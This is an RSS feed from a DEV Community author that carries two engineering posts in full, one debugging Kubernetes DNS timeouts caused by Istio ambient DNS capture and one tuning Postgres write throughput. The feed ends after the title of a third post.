<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Harish</title>
    <description>The latest articles on DEV Community by Harish (@harishteens).</description>
    <link>https://dev.to/harishteens</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F230396%2F001618ad-3dd5-4853-ac33-94df16cc24e2.jpeg</url>
      <title>DEV Community: Harish</title>
      <link>https://dev.to/harishteens</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/harishteens"/>
    <language>en</language>
    <item>
      <title>DNS is weird inside k8s on AWS, Part 2: the layer I didn't know existed</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sun, 12 Jul 2026 11:44:03 +0000</pubDate>
      <link>https://dev.to/harishteens/dns-is-weird-inside-k8s-on-aws-part-2-the-layer-i-didnt-know-existed-3dcp</link>
      <guid>https://dev.to/harishteens/dns-is-weird-inside-k8s-on-aws-part-2-the-layer-i-didnt-know-existed-3dcp</guid>
      <description>&lt;p&gt;&lt;em&gt;A follow-up to &lt;a href="https://dev.to/harishteens/dns-is-weird-inside-k8s-on-aws-570c"&gt;Part 1&lt;/a&gt;, which laid out the three usual suspects for DNS timeouts inside a Kubernetes pod on EKS: &lt;code&gt;ndots&lt;/code&gt; amplification, NodeLocal DNS caching, and the per-ENI 1024 pps limit on the VPC resolver. Part 1 ended with the line "proving which link in the chain is actually responsible takes measurement, not assumption." This is what happened when I did the measurement — and found a fourth link that isn't in most write-ups.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Where we left off
&lt;/h2&gt;

&lt;p&gt;The symptom was familiar to anyone who's chased flaky Kubernetes DNS. A worker pod, blasting a modest number of outbound requests, would occasionally log this exact line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;read udp 100.99.139.35:41290-&amp;gt;&lt;/span&gt;169.254.20.10:53: i/o &lt;span class="nb"&gt;timeout&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It wasn't a firehose. Some pods hit it dozens of times an hour, others none. Restarting the offending pod usually cleared it for a few minutes, then it came back.&lt;/p&gt;

&lt;p&gt;Part 1's framework said: figure out which of the three layers is dropping packets. So I did that.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the measurement said (and what it didn't)
&lt;/h2&gt;

&lt;p&gt;The three-layer diagnostic worked exactly as advertised — for the layers it covers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 1 — &lt;code&gt;ndots&lt;/code&gt;.&lt;/strong&gt; Confirmed the pod's &lt;code&gt;/etc/resolv.conf&lt;/code&gt; had the classic &lt;code&gt;options ndots:5&lt;/code&gt; with four search domains, so each logical lookup for something like &lt;code&gt;example.com&lt;/code&gt; was becoming ~10 packets (five names, each with A + AAAA). Setting &lt;code&gt;ndots:1&lt;/code&gt; cut the amplification by 5×. Timeouts still happened.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 2 — NodeLocal DNS.&lt;/strong&gt; The DaemonSet was running fine on every node. &lt;code&gt;coredns_forward_healthcheck_broken_total&lt;/code&gt; was zero. Forward latency to upstream was under 32 ms at the 99th percentile. Cache miss rate was healthy. No restarts, no OOMs, no &lt;code&gt;ratelimit&lt;/code&gt; plugin even loaded. If NodeLocal was the culprit, its own metrics would say so.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 — EC2 ENI 1024 pps cap.&lt;/strong&gt; This is the tricky one because AWS drops the packets silently. But &lt;code&gt;ethtool -S &amp;lt;primary ENI&amp;gt; | grep linklocal_allowance_exceeded&lt;/code&gt; on the affected nodes returned zero, even during a spike window. No ENI cap was being hit.&lt;/p&gt;

&lt;p&gt;So the packet counts I could measure said: none of the three layers Part 1 covered were the actual problem.&lt;/p&gt;

&lt;p&gt;And yet — pods were still logging &lt;code&gt;169.254.20.10:53: i/o timeout&lt;/code&gt; at the same rate.&lt;/p&gt;

&lt;h2&gt;
  
  
  The question a DevOps engineer asked me
&lt;/h2&gt;

&lt;p&gt;I posted the metrics in a Slack channel. Someone I hadn't worked with before replied with a single line:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This seems to be pointing to istio DNS capture I think. Can be a candidate to disable entirely.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I didn't know what Istio ambient DNS capture was. That turned out to be the whole problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  The layer that was hiding in plain sight
&lt;/h2&gt;

&lt;p&gt;If you're running Istio in &lt;strong&gt;ambient mode&lt;/strong&gt; (as opposed to the older sidecar mode), you have a component called &lt;strong&gt;ztunnel&lt;/strong&gt; running as a DaemonSet on every node. Ambient mode is the "no sidecars" flavor of the service mesh — instead of a proxy container in every pod, the mesh functions live in ztunnel and get applied to pod traffic transparently at the node level.&lt;/p&gt;

&lt;p&gt;One of the things ztunnel does — if the feature is on — is &lt;strong&gt;intercept DNS syscalls from pods&lt;/strong&gt; and answer them itself for known cluster services, forwarding the rest onward. This is the "DNS capture" feature, and it's meant to help with things like ServiceEntry resolution and consistent DNS behavior across the mesh.&lt;/p&gt;

&lt;p&gt;The catch: it inserts an extra hop between your pod and NodeLocal DNS.&lt;/p&gt;

&lt;p&gt;Where Part 1's mental model was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pod ──► 169.254.20.10 (NodeLocal DNS) ──► kube-dns / VPC resolver
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With ambient DNS capture on, the actual path is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pod ──► ztunnel (DNS capture)  ──► 169.254.20.10 ──► kube-dns / VPC resolver
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That extra hop has its own concurrency limits, its own timeouts, its own queue, its own bugs. And crucially: &lt;strong&gt;if ztunnel drops a UDP packet, the client-visible symptom is identical to what you'd see if NodeLocal itself dropped it.&lt;/strong&gt; The pod's syscall returns &lt;code&gt;i/o timeout&lt;/code&gt; on &lt;code&gt;169.254.20.10:53&lt;/code&gt;, because from the pod's perspective, that's the address it was talking to. The interception is invisible.&lt;/p&gt;

&lt;p&gt;This is why every metric I could pull from NodeLocal or the VPC resolver came back clean. The drop was happening &lt;em&gt;before&lt;/em&gt; the packet ever left ztunnel.&lt;/p&gt;

&lt;h2&gt;
  
  
  The one-line fix
&lt;/h2&gt;

&lt;p&gt;Istio has an annotation for exactly this situation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;annotations&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;ambient.istio.io/dns-capture&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;false"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Applied to a workload pod, ztunnel stops intercepting that pod's DNS syscalls. Traffic goes straight from the pod to &lt;code&gt;169.254.20.10&lt;/code&gt; (NodeLocal), exactly like Part 1's diagram assumed.&lt;/p&gt;

&lt;p&gt;We rolled the annotation out chart-wide (helm values under &lt;code&gt;default.pod.annotations&lt;/code&gt; so every service inherits it), redeployed, and repushed a batch of 100 domains through the crawler to stress-test.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;i/o timeout&lt;/code&gt; log stream went to zero and stayed there.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to check if this is you
&lt;/h2&gt;

&lt;p&gt;Three quick probes, no permissions you don't already have.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Is your namespace enrolled in ambient?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get ns &amp;lt;your-namespace&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; yaml | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s1"&gt;'ambient|dataplane-mode'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for &lt;code&gt;istio.io/dataplane-mode: ambient&lt;/code&gt; on the namespace or the pod. If that label is present, ambient is active on your workload and DNS capture may be intercepting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Is ztunnel running on your nodes?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl &lt;span class="nt"&gt;-n&lt;/span&gt; istio-system get ds ztunnel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If that DaemonSet exists and has running pods on your nodes, DNS capture is a possibility.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Compare error rate before and after the annotation.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Put the annotation on one deployment, redeploy just that one, and Loki-count &lt;code&gt;read udp&lt;/code&gt; timeouts before-vs-after over a 1-hour window. If the annotation is the difference-maker, you'll see it drop off cleanly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this is worth writing down
&lt;/h2&gt;

&lt;p&gt;The three layers Part 1 covered — &lt;code&gt;ndots&lt;/code&gt;, NodeLocal, ENI cap — are load-bearing knowledge for anyone running Kubernetes DNS on AWS. They're in every good post about the topic.&lt;/p&gt;

&lt;p&gt;But if your cluster runs a service mesh with a DNS interception feature, that mesh becomes a fourth layer in the chain, and it can produce the exact same client-visible symptom as the other three. Its metrics live in a different namespace, its logs are formatted differently, and the pod itself has no idea it's being intercepted.&lt;/p&gt;

&lt;p&gt;The lesson isn't "Istio ambient DNS capture is bad." It's not — it exists for good reasons around ServiceEntry resolution and mesh-consistent behavior. The lesson is that the DNS path from your pod to the upstream resolver &lt;strong&gt;may not be the path you think it is&lt;/strong&gt;, and the way to find out is to enumerate every DaemonSet-scoped component in the request path, not just the ones in Part 1's diagram.&lt;/p&gt;

&lt;p&gt;If I was writing the diagnostic framework from scratch today, I'd add a Layer 0 to the list before you look at ndots:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Before assuming your pod talks directly to &lt;code&gt;169.254.20.10&lt;/code&gt;, confirm that assumption.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's it. That's the whole finding. Everything else — the metrics you inspected, the packet-count math, the &lt;code&gt;ethtool&lt;/code&gt; counters — is downstream of that one question.&lt;/p&gt;

&lt;h2&gt;
  
  
  What silent drops teach you
&lt;/h2&gt;

&lt;p&gt;Every layer in the DNS chain that I care about has the same underlying failure mode: it drops a packet without telling the client. The pod's UDP socket has no way to distinguish "the packet reached the resolver and got no reply" from "the packet was dropped one hop away." Both surface as &lt;code&gt;i/o timeout&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That means diagnostic technique matters more than any single fix. When a timeout can come from four different layers and none of them log an error, you have to work by process of elimination:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Prove Layer 1 (ndots) by counting search-domain queries. Reduce and re-measure.&lt;/li&gt;
&lt;li&gt;Prove Layer 2 (NodeLocal) via its own /metrics. Watch for spikes in &lt;code&gt;forward_request_duration_seconds&lt;/code&gt; at the 99th percentile.&lt;/li&gt;
&lt;li&gt;Prove Layer 3 (ENI cap) via &lt;code&gt;linklocal_allowance_exceeded&lt;/code&gt;. Nonzero = you hit it, zero = you didn't.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prove Layer 0 (mesh interception) exists at all.&lt;/strong&gt; Check for &lt;code&gt;ztunnel&lt;/code&gt; on your nodes and the ambient label on your namespace before any of the above.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For a good six weeks I skipped step 4 because it wasn't in my mental model. Adding it saved me the next six.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Part 1 covered the three DNS layers everyone talks about. This one is the one nobody mentioned, because for anyone not running Istio ambient it doesn't exist. If you are running it, this annotation may be the one-line change you didn't know you needed. If you're not, the meta-lesson still applies: when a chain of components each fails silently, the answer isn't more metrics — it's an accurate diagram.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>dns</category>
      <category>microservices</category>
    </item>
    <item>
      <title>How Avoiding Locking in Postgres Helped Us Get More Throughput</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Thu, 02 Jul 2026 15:34:58 +0000</pubDate>
      <link>https://dev.to/harishteens/how-avoiding-locking-in-postgres-helped-us-get-more-throughput-37p9</link>
      <guid>https://dev.to/harishteens/how-avoiding-locking-in-postgres-helped-us-get-more-throughput-37p9</guid>
      <description>&lt;h2&gt;
  
  
  The observation
&lt;/h2&gt;

&lt;p&gt;One of our services is a distributed worker fleet that builds a large &lt;strong&gt;tree&lt;/strong&gt;&lt;br&gt;
in Postgres (Aurora, &lt;code&gt;db.r6g.xlarge&lt;/code&gt;, 4 vCPU, single writer). Each work item a&lt;br&gt;
worker processes yields child records, and every child is upserted as a node&lt;br&gt;
under its parent in the tree.&lt;/p&gt;

&lt;p&gt;Under real load — about &lt;strong&gt;90 jobs running concurrently across 20 pods&lt;/strong&gt; — the&lt;br&gt;
Aurora writer pegged at &lt;strong&gt;~96% CPU&lt;/strong&gt; and stayed there. Throughput collapsed: work&lt;br&gt;
backed up, the queue grew, and pods sat idle waiting on the database instead of&lt;br&gt;
doing work. The dashboard showed the usual trio of alarms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CPU ~96%&lt;/strong&gt;, sustained&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Elevated WriteIOPS&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;~565 database connections&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Rising lock-wait time&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every one of those is a &lt;em&gt;symptom&lt;/em&gt;. The interesting question was which one was the&lt;br&gt;
cause — and, crucially, which were just downstream of something else.&lt;/p&gt;
&lt;h2&gt;
  
  
  What we deliberately did &lt;em&gt;not&lt;/em&gt; do
&lt;/h2&gt;

&lt;p&gt;When a database is on fire, the reflexes are well-worn:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;"565 connections — add a connection pooler, or a bigger instance, or cap the
pool."&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;"High WriteIOPS and table bloat — crank up autovacuum, maybe a &lt;code&gt;VACUUM FULL&lt;/code&gt;."&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;"CPU's at 96% — scale the instance up a tier."&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these is a plausible-sounding fix, and each one treats a symptom:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bigger hardware&lt;/strong&gt; buys headroom that linear growth eats straight back. We're
targeting 3× the load; a one-tier bump is a few weeks of runway, not a fix.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Aggressive vacuum&lt;/strong&gt; fights dead tuples we hadn't yet proven were the problem —
and vacuum itself burns IO and CPU, so "just vacuum harder" can make a
CPU-bound box &lt;em&gt;worse&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connection caps / poolers&lt;/strong&gt; move the queue from inside Postgres to in front of
it. If the work per query is the problem, throttling connections just makes
clients wait in a different place.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of these answers the only question that matters: &lt;strong&gt;why is the CPU pinned?&lt;/strong&gt;&lt;br&gt;
So we didn't touch any of them until we knew.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 1 — Read the waits, not the vitals (Performance Insights)
&lt;/h2&gt;

&lt;p&gt;Instead of guessing from CPU/IOPS/connections, we opened &lt;strong&gt;Performance Insights&lt;/strong&gt;&lt;br&gt;
and looked at &lt;strong&gt;Top Waits&lt;/strong&gt;. The dominant wait was not query execution, not disk&lt;br&gt;
I/O, not client wait. It was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LWLock:MultiXactOffsetBuffer   (with MultiXactGen close behind)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is an extremely specific fingerprint, and it changed everything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MultiXacts&lt;/strong&gt; are how Postgres represents &lt;em&gt;more than one transaction holding a&lt;br&gt;
lock on the same row at the same time&lt;/em&gt;. The most common way to create them is a&lt;br&gt;
flood of &lt;strong&gt;&lt;code&gt;FOR KEY SHARE&lt;/code&gt;&lt;/strong&gt; locks on a shared row. And who takes &lt;code&gt;FOR KEY SHARE&lt;/code&gt;&lt;br&gt;
locks, implicitly, on every write? &lt;strong&gt;Foreign keys.&lt;/strong&gt; When you insert a child row,&lt;br&gt;
Postgres locks the referenced parent row &lt;code&gt;FOR KEY SHARE&lt;/code&gt; for the duration of the&lt;br&gt;
transaction, to guarantee the parent can't vanish underneath you.&lt;/p&gt;

&lt;p&gt;Our hot table &lt;code&gt;tree_nodes&lt;/code&gt; had three foreign keys:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;FK column&lt;/th&gt;
&lt;th&gt;references&lt;/th&gt;
&lt;th&gt;who it locks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;parent_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;tree_nodes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the parent node — contended by all its siblings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;source_node_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;tree_nodes&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the node a child was derived from&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;job_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jobs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;one row per job — locked by &lt;em&gt;every&lt;/em&gt; insert for that job&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Under concurrency this is a worst case. Many inserts share a parent (and &lt;em&gt;all&lt;/em&gt;&lt;br&gt;
inserts for a job share the single &lt;code&gt;jobs&lt;/code&gt; row), so multiple transactions took a&lt;br&gt;
&lt;code&gt;FOR KEY SHARE&lt;/code&gt; lock on the &lt;em&gt;same&lt;/em&gt; tuple simultaneously. Postgres had to allocate&lt;br&gt;
a &lt;strong&gt;MultiXact&lt;/strong&gt; to track the set of lockers, rewrite the locked tuple's &lt;code&gt;xmax&lt;/code&gt; on&lt;br&gt;
every new locker, and push that through the MultiXact &lt;strong&gt;SLRU&lt;/strong&gt; buffers — allocate,&lt;br&gt;
look up, rewrite, WAL, repeat. That SLRU churn &lt;em&gt;was&lt;/em&gt; the 96% CPU.&lt;/p&gt;

&lt;p&gt;The connections and the WriteIOPS were &lt;strong&gt;downstream&lt;/strong&gt; of this: transactions piled&lt;br&gt;
up because they were serializing on the same rows, and the tuple rewrites drove&lt;br&gt;
the writes. Fix the lock and both recede on their own.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; drop the three FK &lt;em&gt;constraints&lt;/em&gt;. Integrity is guaranteed by the&lt;br&gt;
workers' own ordering — a parent node is always written before its child, and&lt;br&gt;
&lt;code&gt;job_id&lt;/code&gt; always points at a live row we just created. The &lt;strong&gt;indexes stay&lt;/strong&gt;&lt;br&gt;
(it's the &lt;em&gt;constraint&lt;/em&gt; that takes the lock, not the index), so reads are&lt;br&gt;
unaffected.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Result: MultiXact waits went to &lt;strong&gt;zero&lt;/strong&gt;, and CPU came off the ceiling — even at&lt;br&gt;
the same 90-job, full-fan-out concurrency that had pinned it before.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Step 2 — A suspicious calls-to-rows ratio (a tiny cache)
&lt;/h2&gt;

&lt;p&gt;With the biggest fire out, we went back to Performance Insights and looked at the&lt;br&gt;
top statements. The busiest INSERT told on itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;tree_nodes&lt;/span&gt; &lt;span class="p"&gt;(...)&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;CONFLICT&lt;/span&gt; &lt;span class="k"&gt;DO&lt;/span&gt; &lt;span class="k"&gt;NOTHING&lt;/span&gt;
    &lt;span class="n"&gt;calls&lt;/span&gt; &lt;span class="err"&gt;≈&lt;/span&gt; &lt;span class="mi"&gt;1439&lt;/span&gt;   &lt;span class="k"&gt;rows&lt;/span&gt; &lt;span class="err"&gt;≈&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;78&lt;/span&gt;   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;sample&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We were issuing ~1439 insert attempts to actually write ~3 rows. The workers&lt;br&gt;
re-touch the same shared ancestor nodes constantly — the interior nodes near the&lt;br&gt;
root are referenced by every item beneath them — so the overwhelming majority of&lt;br&gt;
inserts were &lt;strong&gt;conflict-and-discard&lt;/strong&gt;: take the unique-index leaf lock, find the&lt;br&gt;
existing row, do nothing. Correct, but not free — every attempt still touches the&lt;br&gt;
index and costs a round-trip.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; a per-run &lt;strong&gt;in-memory seen-set&lt;/strong&gt; — a &lt;code&gt;sync.Map&lt;/code&gt; keyed by the node's&lt;br&gt;
full key, populated &lt;em&gt;after&lt;/em&gt; each commit. Before attempting an insert we check the&lt;br&gt;
set; if we've already persisted that node this run, we skip the database entirely.&lt;br&gt;
It costs a couple of megabytes for a 20k-node run and evaporates when the process&lt;br&gt;
exits — no schema, no eviction policy, no new failure mode.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Result: the INSERT ratio went from &lt;strong&gt;~1439 calls : 2.78 rows&lt;/strong&gt; to&lt;br&gt;
&lt;strong&gt;~131 calls : 129 rows&lt;/strong&gt; — we now almost only touch the database for rows that&lt;br&gt;
are genuinely new.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Step 3 — Batch the transactions (the classic one)
&lt;/h2&gt;

&lt;p&gt;Next wait to surface once the churn was gone:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IO:XactSync   ≈ 85% of active samples
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;IO:XactSync&lt;/code&gt; is commit / WAL-flush wait — the &lt;code&gt;fsync&lt;/code&gt; at the end of a transaction.&lt;br&gt;
We had been committing &lt;strong&gt;once per child record&lt;/strong&gt;. Thousands of tiny transactions&lt;br&gt;
meant thousands of fsyncs, and the commit itself became the bottleneck.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; the oldest trick in the book — &lt;strong&gt;batch&lt;/strong&gt;. Collect all of a work&lt;br&gt;
item's child records and upsert them in a &lt;strong&gt;single transaction&lt;/strong&gt;: one&lt;br&gt;
&lt;code&gt;BEGIN&lt;/code&gt;/&lt;code&gt;COMMIT&lt;/code&gt; per item instead of one per child.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Result: &lt;code&gt;IO:XactSync&lt;/code&gt; dropped from &lt;strong&gt;~85%&lt;/strong&gt; to &lt;strong&gt;~32%&lt;/strong&gt; of active samples.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  The payoff
&lt;/h2&gt;

&lt;p&gt;Same workload (cold re-run of 100 jobs, ramping to an 88-job peak):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Writer CPU (peak)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;96%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;~68%&lt;/strong&gt; during cold-start ramp, &lt;strong&gt;~20–30%&lt;/strong&gt; steady at peak&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Top wait&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MultiXactOffsetBuffer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;IO:XactSync&lt;/code&gt; (~32%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MultiXact waiters&lt;/td&gt;
&lt;td&gt;dominant&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;INSERT calls : rows&lt;/td&gt;
&lt;td&gt;1439 : 2.78&lt;/td&gt;
&lt;td&gt;131 : 129&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;IO:XactSync&lt;/code&gt; share&lt;/td&gt;
&lt;td&gt;~85%&lt;/td&gt;
&lt;td&gt;~32%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DB connections&lt;/td&gt;
&lt;td&gt;~565&lt;/td&gt;
&lt;td&gt;~246&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;We got more throughput &lt;strong&gt;without&lt;/strong&gt; a bigger instance, a connection pooler, or&lt;br&gt;
touching autovacuum — the three things we'd have reached for first if we'd trusted&lt;br&gt;
the vitals instead of the waits.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's next (being honest about the tail)
&lt;/h2&gt;

&lt;p&gt;Optimizations unmask each other. With MultiXact and most commit-sync gone, the new&lt;br&gt;
top wait is a &lt;strong&gt;bursty &lt;code&gt;Lock:transactionid&lt;/code&gt;&lt;/strong&gt; on hot parent-counter rows&lt;br&gt;
(&lt;code&gt;children_total&lt;/code&gt;, &lt;code&gt;children_processed&lt;/code&gt;, …) that every child bump serializes on&lt;br&gt;
during the initial fan-out of high-fan-out parents. That's the next thing to&lt;br&gt;
attack — likely by deferring and coalescing those counter bumps to the end of each&lt;br&gt;
item's batch — and we only know it's next because, again, we read the waits.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Symptoms lie about causes.&lt;/strong&gt; Connections, IOPS, and CPU were all genuinely
high — and all three were &lt;em&gt;downstream&lt;/em&gt; of one lock. Fixing any of them directly
would have burned time and money without moving the real number.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read the wait events.&lt;/strong&gt; &lt;code&gt;MultiXactOffsetBuffer&lt;/code&gt; pointed us straight at
FK-induced &lt;code&gt;FOR KEY SHARE&lt;/code&gt; locking — a diagnosis we would &lt;em&gt;never&lt;/em&gt; have guessed
from a CPU graph.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix in dependency order, and re-measure between each.&lt;/strong&gt; Kill the dominant
wait, look again, kill the next. The seen-set and the batching were cheap and
almost obvious — but only measurement told us they mattered, and in what order.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The cheapest fixes are invisible until the expensive one is gone.&lt;/strong&gt; You can't
see the commit-sync problem while a lock is burning 96% of the CPU. Peel the
layers.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>aws</category>
      <category>database</category>
      <category>performance</category>
      <category>postgres</category>
    </item>
    <item>
      <title>You can't test your way to certainty — so falsify instead</title>
      <dc:creator>Harish</dc:creator>
